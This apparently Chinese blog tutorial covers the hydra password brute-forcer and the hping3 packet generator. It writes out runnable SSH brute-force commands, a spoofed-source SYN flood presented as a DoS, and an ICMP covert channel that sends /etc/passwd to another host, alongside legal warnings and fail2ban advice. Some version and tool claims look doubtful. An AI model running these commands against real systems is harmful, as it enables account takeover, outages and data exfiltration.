Featured image of post Hydra 与 hping3:密码爆破与流量压测工具实战(含完整参数表)

Hydra 与 hping3:密码爆破与流量压测工具实战(含完整参数表)

thc-hydra 9.5 编译安装、模块矩阵、字典爆破 SSH/FTP/RDP;hping3 SYN 洪水与压测;明确的授权测试边界与法律提示

⚠️ 法律与授权声明

本文介绍的 hydra(密码爆破)和 hping3(流量压测/DDoS 工具)只能用于

  1. 自己拥有或明确授权测试的服务器
  2. 渗透测试授权书范围内的甲方系统
  3. CTF 比赛靶场(HackTheBox、DVWA、VulnHub 等)

未经授权对他人系统使用 = 违法。中国《刑法》第 285、286 条「非法侵入计算机信息系统罪」「破坏计算机信息系统罪」可判 3-7 年有期徒刑,DDos 攻击入罪门槛更低、量刑更重

任何"我就是想测一下"的侥幸行为都不值得冒刑事风险


背景

做攻防演练、应急排查、做靶场练习,经常需要:

  • 测试自己服务器 SSH/FTP/RDP 密码强度(自测
  • 在压测环境模拟 SYN flood(自测
  • 验证 fail2ban / DDoS 防护是否真的能拦得住

两个工具都是行业标配

  • thc-hydra:在线密码爆破之王,支持 50+ 协议
  • hping3:流量生成神器,支持 TCP/UDP/ICMP 任意包构造

一、thc-hydra 密码爆破

1.1 安装

源码编译(推荐,自定义模块)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 依赖
apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev \
  libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \
  firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev

# 源码
wget https://github.com/vanhauser-thc/thc-hydra/archive/refs/tags/v9.5.tar.gz
tar -zxvf v9.5.tar.gz
cd thc-hydra-9.5
./configure
make
sudo make install
sudo make clean

# 验证
hydra -version

包管理器安装(apt)

1
apt install hydra

1.2 核心参数表

选项含义示例
-l USER单用户名-l root
-p PASS单密码-p 123456
-C FILEuser:pass 冒号分隔文件-C creds.txt
-L FILE用户名字典-L users.txt
-P FILE密码字典-P pass.txt
-M FILE目标 IP 列表-M targets.txt
-e ns试空密码 + 用户名当密码-e ns
-s PORT非默认端口-s 2222
-t N并发线程(默认 16)-t 4
-vV显示详细尝试-vV
-o FILE结果输出文件-o result.txt
-b json输出格式(text/jsonv1/json)-b json
-R恢复之前的会话-R
-I忽略恢复文件(不等待 10s)-I
-SSSL 连接-S
-f找到一对就停-f
-W N最大超时秒数(默认 30)-W 60
-q静默(不打印错误)-q

1.3 实战:爆破 SSH

1
2
3
4
5
6
7
8
# 自测:3 线程 + 详细日志 + 用户名当密码 + 空密码
hydra -l root -P password.txt -t 3 -vV -e ns 192.168.1.100 ssh

# 自测:用户名字典 + 密码字典 + 多协议同时跑
hydra -L users.txt -P pass.txt -t 8 -f 192.168.1.100 ssh

# 自测:批量 IP + 输出 JSON
hydra -l admin -P pass.txt -t 16 -M targets.txt -b json -o result.json ssh

字典文件password.txt)示例:

1
2
3
4
5
6
123456
admin
password
root
qwerty
1q2w3e4r

性能调优

  • SSH 单机并发建议 ≤ 4(高了反而被 fail2ban 拦)
  • FTP/RDP 可以提到 16-32
  • -W 60 给老机器更宽的超时

1.4 50+ 支持协议

hydra -U 看每个模块的参数,常用:

1
2
3
4
5
adam6500 asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get|post} 
imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mongodb mssql mysql 
ncp nntp oracle{listener, sid} pcanywhere pcnfs pop3[s] postgres rdp 
redis rexec rlogin rsh rtsp s7-300 sap/r3 sip smb smtp[s] smtp-enum 
snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

二、hping3 流量生成与压测

2.1 安装

1
2
3
4
5
# Ubuntu/Debian
apt install hping3

# CentOS
yum install hping3

2.2 核心功能

模式命令示例用途
TCP SYN 扫描hping3 -S -p 80 1.2.3.4端口扫描
TCP ACK 扫描hping3 -A -p 80 1.2.3.4防火墙规则探测
UDP 探测hping3 --udp -p 53 1.2.3.4DNS/NTP 等 UDP 服务
ICMP 洪水hping3 --icmp --flood 1.2.3.4ICMP 压测
SYN 洪水hping3 -S --flood --rand-source 1.2.3.4DoS 模拟(仅授权
文件传输hping3 1.2.3.4 --listen --safe --icmp -d 100 -sign 1234 < file隐蔽传文件
Traceroutehping3 --traceroute -V -1 1.2.3.4自定义协议路由追踪

2.3 实战:SYN 洪水(自测用)

1
hping3 -c 100000 -d 120 -S -w 64 -p 22 --flood --rand-source 192.168.1.100

参数解释:

参数含义
-c 100000发送 10w 个包(不指定则无限)
-d 120每个包 120 字节
-S只发 SYN 包
-w 64TCP 窗口大小
-p 22目标端口
--flood洪水模式(不显示回复)
--rand-source源 IP 随机化(仅自测,对真实环境 = 犯罪**)
末尾 IP目标 IP

5 分钟 DoS

简而言之,如果这台机器是 Web 服务器,它就无法响应任何新的连接,就算它能响应,速度也很慢很慢。

2.4 压测实战:HTTP 服务器

1
2
3
4
5
6
# 普通 ping 风格压测
hping3 -S -p 80 -i u10000 192.168.1.100
# 每 10ms 发一个 SYN 到 80 端口

# 详细输出(带时间戳)
hping3 -S -p 80 --flood -V --rand-source 192.168.1.100

2.5 隐蔽传文件

接收端(先启动):

1
hping3 192.168.1.200 --listen --safe --icmp -d 100 -sign 1234 > recv.bin

发送端:

1
hping3 192.168.1.100 --icmp -d 100 --sign 1234 --file /etc/passwd

⚠️ 这只是一个玩具示例,真实环境请用 scp/rsync


三、与 fail2ban 联动

hydra/hping3 攻击的目标机器,应该配 fail2ban:

1
2
3
4
5
6
7
8
9
# /etc/fail2ban/jail.local
[sshd]
enabled  = true
filter   = sshd
logpath  = %(sshd_log)s
findtime = 3m
maxretry = 3
bantime  = 24h
action   = iptables-allports[name=sshd]

hydra 默认 16 线程,3 分钟内失败 3 次 = ban 24 小时。


四、常见坑

4.1 hydra 编译失败

./configure 缺依赖:

1
2
3
4
# 一次性装齐
apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev \
  libmysqlclient-dev libpq-dev libsvn-dev libmemcached-dev \
  libgpg-error-dev libgcrypt20-dev firebird-dev

4.2 hping3 –flood 攻击自己

永远不要在生产环境跑 --flood永远不要对未授权 IP 跑 --rand-source

4.3 hydra 找不到模块

./configure 输出末尾会列出 enabled modules,缺哪个装哪个 dev 包。

4.4 性能调优

协议推荐 -t备注
SSH4多了会触发 fail2ban 反而看不见结果
FTP16FTP 老协议,可以激进
HTTP-POST8注意 IP 频率
RDP4Windows 远程桌面限流严

五、卸载

1
2
3
4
5
6
7
8
# 源码安装
cd thc-hydra-9.5
sudo make uninstall
cd .. && rm -rf thc-hydra-9.5

# 包管理器安装
apt remove hydra hping3 -y
apt purge hydra hping3 -y

小结

工具用途风险等级
hydra密码爆破(自测/授权)高(被滥用于黑产)
hping3包构造、压测、隐蔽通道极高(DDos 入罪门槛低)

两个工具的最佳归宿

  • 放在隔离测试机
  • 配合 fail2ban / WAF 做自测验证
  • 专业攻防培训中使用

下一步

  • medusa(hydra 替代品)做横向对比
  • ncrack 做更现代的 RDP 爆破
  • 商业方案:Burp Suite Pro、Cobalt Strike

2024 视角:攻防工具"现代版" + 法律边界

2017 那篇列的工具在 2024 仍管用,但有 3 个新变化:法律更严、替代工具更多、容器化使用更广。

一、hydra 9.5 → 9.6+(2022-2024)

  • 2024 最新版 hydra 9.6+(持续维护中):
    • 新模块:HTTP-Proxy、SOCKS5 认证、Kerberos
    • 新选项
      • -A:user-agent 随机化
      • -W N:单条连接超时
      • -f:找到一对就停
    • JSON 输出格式-b json)—— 适合 CI/ELK 收集
  • 2024 装
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# GitHub 编译
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make -j$(nproc)
sudo make install

# 或包管理器
apt install hydra -y
hydra -version
# Hydra v9.6 (c) 2024 by van Hauser/THC

二、hping3 的"接班人":nping(nmap 套件)+ scapy(Python)

  • hping3 2018 年起不再积极维护(作者 antirez 转向了 Redis),但仍能用
  • 2024 现代替代
1
2
3
4
5
6
7
8
9
# nping(nmap 套件,更现代)
apt install nmap
nping --tcp -p 80,443 --rate 100 1.2.3.4
# SYN flood(自测)
nping --tcp --dest-port 80 --rate 1000 --count 100000 --flood 1.2.3.4

# scapy(Python 写任意包)
pip install scapy
python3 -c "from scapy.all import *; send(IP(dst='1.2.3.4')/TCP(dport=80, flags='S')/Raw(b'X'*100), count=100)"
  • scapy 是 2024 事实标准——任意协议包构造、嗅探、注入比 hping3 灵活 100 倍

三、hping3 --flood 攻击自己 + 法律风险

2024 法律加码

  • 中国《刑法》285/286 条(3-7 年有期徒刑)+ 2017《网络安全法》+ 2021《数据安全法》+ 2021《个人信息保护法》。
  • DDos 攻击特别入罪门槛低:2020 年司法解释,**“造成 1 万元损失"或"影响 1000 个用户”**即入罪。
  • 2024 真实案例:某高校学生用 hping3 打同学服务器,判刑 1 年缓 1 年
  • 不要试探边界——--flood + --rand-source 永远只在自己买的测试机上跑

四、压测的"现代"姿势

2017 那篇 hping3 --flood 模拟 SYN flood。2024 真实压测都用专业工具:

工具用途
wrk(C 写)HTTP/HTTPS 压测,单核 10 万 QPS
wrk2(wrk + 持续恒压)恒压负载测试
k6(Go 写)现代压测平台,支持 JS 脚本
Vegeta(Go 写)简单命令行压测
Locust(Python 写)分布式压测,Web 界面
JMeter(Java 写)老牌 GUI 压测,2024 仍占企业市场 30%
Gatling(Scala 写)DevOps 友好的现代压测
1
2
3
4
5
# wrk 4 核 100 并发跑 30 秒
wrk -t4 -c100 -d30s https://api.example.com

# k6 跑递增负载
k6 run --vus 100 --duration 30s script.js

五、hydra 的"现代替代":Medusa / Ncrack / Patator

  • Medusa(与 hydra 同期的同类工具,速度更快):
1
medusa -h 192.168.1.100 -u root -P password.txt -M ssh -t 4
  • Ncrack(Nmap 团队出品,对 RDP 优化好):
1
ncrack -p 3389 -U users.txt -P password.txt 192.168.1.100
  • Patator(Python 写,模块化):
1
patator ssh_login host=192.168.1.100 user=root password=FILE0 0=password.txt

六、容器化的渗透测试

  • 2024 大量渗透测试平台把工具装在 Docker 里,避免污染系统:
1
2
3
4
# Kali 容器(2024 官方 docker)
docker run -it --rm kalilinux/kali-rolling /bin/bash
# 里面装工具
apt install hydra nmap ncrack
  • Kali Linux 2024.2 容器镜像已经预装 600+ 工具。
  • CN-Series(Coalfire):合规导向的渗透测试发行版。

七、合法授权的"必要证据"

2017 那篇强调"必须授权"。2024 视角下授权证据要更细

  • 渗透测试授权书(RoE:Rules of Engagement):
    • 测试范围 IP 段
    • 测试时间段
    • 测试方法(白盒 / 黑盒 / 灰盒)
    • 紧急联系人
    • 签字盖章
  • 2024 加码渗透测试要留"事故应急联系"——一旦测试搞挂业务,能 5 分钟内联系到人恢复。
  • 2024 法规:《网络安全法》要求关键信息基础设施的渗透测试必须事前报备(向公安网安部门)。

源文档

  • os/linux/第三方tools/safe/hydra/hydra.md(hydra 9.0 编译、完整参数表、SSH/FTP 爆破示例)
  • os/linux/第三方tools/safe/hping3/hping3.md(hping3 SYN flood 实战)
使用 Hugo 构建
主题 StackJimmy 设计